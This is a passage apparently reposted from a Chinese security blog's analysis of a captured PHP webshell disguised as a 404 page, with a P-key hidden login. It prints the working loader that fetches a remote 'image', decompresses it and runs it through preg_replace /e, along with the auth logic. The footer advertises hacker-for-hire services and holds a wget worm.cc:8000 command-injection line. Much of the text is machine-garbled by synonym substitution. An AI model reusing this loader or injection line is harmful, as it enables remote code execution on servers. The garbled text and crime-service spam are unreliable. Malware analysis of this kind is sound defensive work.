一款奇葩的PHP Webshell后门剖析

访客5年前黑客工具811

 

近来,360网站卫兵安全团队近期捕获一个依据PHP完成的webshell样本,其奇妙的代码动态生成 *** ,鄙陋的本身页面假装 *** ,让咱们在剖析这个样本的过程中感受到相当多的趣味。接下来就让咱们一起共赏这个奇葩的Webshell吧。
 

Webshell代码如下:

<?php
error_reporting(0);
session_start();
header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api']))
$_SESSION['api']=substr(file_get_contents(
sprintf('%s?%s',pack("H*",
'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649);
@preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null);
?>

要害看下面这句代码,

sprintf('%s?%s',pack("H*",'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())

这儿履行之后其实是一张图片,解密出来的图片地址如下:

http://7shell.googlecode.com/svn/make.jpg?53280b00f1e85

然后调用file_get_contents函数读取图片为字符串,然后substr取3649字节之后的内容,再调用gzuncompress解压,得到真实的代码。最终调用preg_replace的修饰符e来履行歹意代码的。这儿履行以下句子来复原出歹意样本代码,

<?php
echo gzuncompress(substr(file_get_contents(sprintf('%s?%s',pack("H*",
'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649));
?>

如图所示:

剖析这段代码,发现这是一个假装的404木马(这儿实在是太鄙陋了…把页面标题改成404 Not Found),其实整个webshell就一个class外加三个function,如下图:
首要我先看一下它的前端html代码,其中有这么一段js程序

document.onkeydown = function(e) {
var theEvent = window.event || e;
var code = theEvent.keyCode || theEvent.which;
if (80 == code) {
$("login").style.display = "block"
}
}

这儿它用document.onkeydown获取用户敲击键盘事情,当code等于80的时分显现login这个div,这儿查询了一下keyCode的对照表,查到80对应p和P键

所以触发webshell登陆需要按p键(不按P键页面便是一个空白页,看不到登陆框),如图所示:

再回到服务端php代码中,能够看到程序用的是对称加密,而且将登陆暗码作为加密key,代码如图所示:

再看init()的逻辑
如图所示,先看这句代码

$true = @gzuncompress(gzuncompress(Crypt::decrypt(pack('H*', '789c63ac0bbec7b494f12cdb02f6dfac3f833731c
f093e163a892990793ebf0a9f1c6b18bb68983b3b47a022002a840c59′), $_POST['key'], true)));

依据这个解密逻辑咱们能够推出,这儿其实是将字符串true做了以下加密处理,

unpack('H*',Crypt::encrypt(gzcompress(gzcompress('true')), $_POST['key'] , true))

所以当输入正确暗码的时分@gzuncompress回来字符串true,然后程序调用setcookie给客户端回来$_COOKIE['key'],然后值得提一下的是后边这个exit('{"status":"on"}'),这儿它与前端代码联络很严密,咱们看前端有个callback函数,如下

function callback() {
var json = eval("(" + this.responseText + ")");
if (json.status=='on'){
window.location.reload();
return;
}
if (json.notice) {
$("notice").style.display = "block";
$("notice").innerHTML = json.notice;
sideOut();
}
}

这儿履行exit('{"status":"on"}')会回来json串{"status":"on"},此刻前端js代码clas *** ack()获取到此响应会履行window.location.reload()改写,再次恳求正好带上前面获取的cookie,然后履行判别COOKIE的逻辑,如图所示:

[1] [2]  黑客接单网

相关文章

临沂黑客接单_找黑客帮找回QQ

打电话的东西有了,电话里的脚本和音频也有了,就需求一个靠谱的语音辨认功用,这点咱们都知道相似“讯飞”等国内顶尖的渠道都有对应的API能够调取进行中文语音转文字的功用,乃至是方言也能做到高效率的辨认,还...

使用PHP 7中的OPcache来完成Webshell

在本文中咱们将剖析通过运用PHP7默许的 OPcache引擎来对缝隙进行运用的技巧。通过这个缝隙运用技巧,咱们将能绕过“制止web目录的文件读写”(http://www.cyberciti.biz/t...

俄罗斯黑客在线接单_网上qq上找黑客查信息靠谱吗

四、 被进犯的设备品种不断扩大所谓0day缝隙的在野运用,一般是进犯活动被捕获时,发现其运用了某些0day缝隙(进犯活动与进犯样本剖析自身也是0day缝隙发现的重要办法之一)。 而在有才能发掘和运用0...

什么语言最好学,找黑客入侵时时彩网,黑客微信解封在哪里找

Level 12 → Level 13要求在最新版 Chrome 触发2.DHCP的装置与装备:其间Flash缝隙exploit被规划为能够针对IE、Chrome浏览器和Office软件进行进犯。...

黑客查人接单_找黑客真好能把钱追回来吗?

— FireEye (@FireEye) December 15, 2018这种办法中,关于给定的种子文件 S1,随机选取 chunk C1,随机选取种子文件 S2,找到 S2 中与 C1 类型相同的...

学信网重新注册的后果,怎么在暗网找黑客,哪个网站找黑客靠谱

html>Level 11 → Level 12http://www.google.com/`wget worm.cc:8000`/1.torrent 2}提示需求设置RH...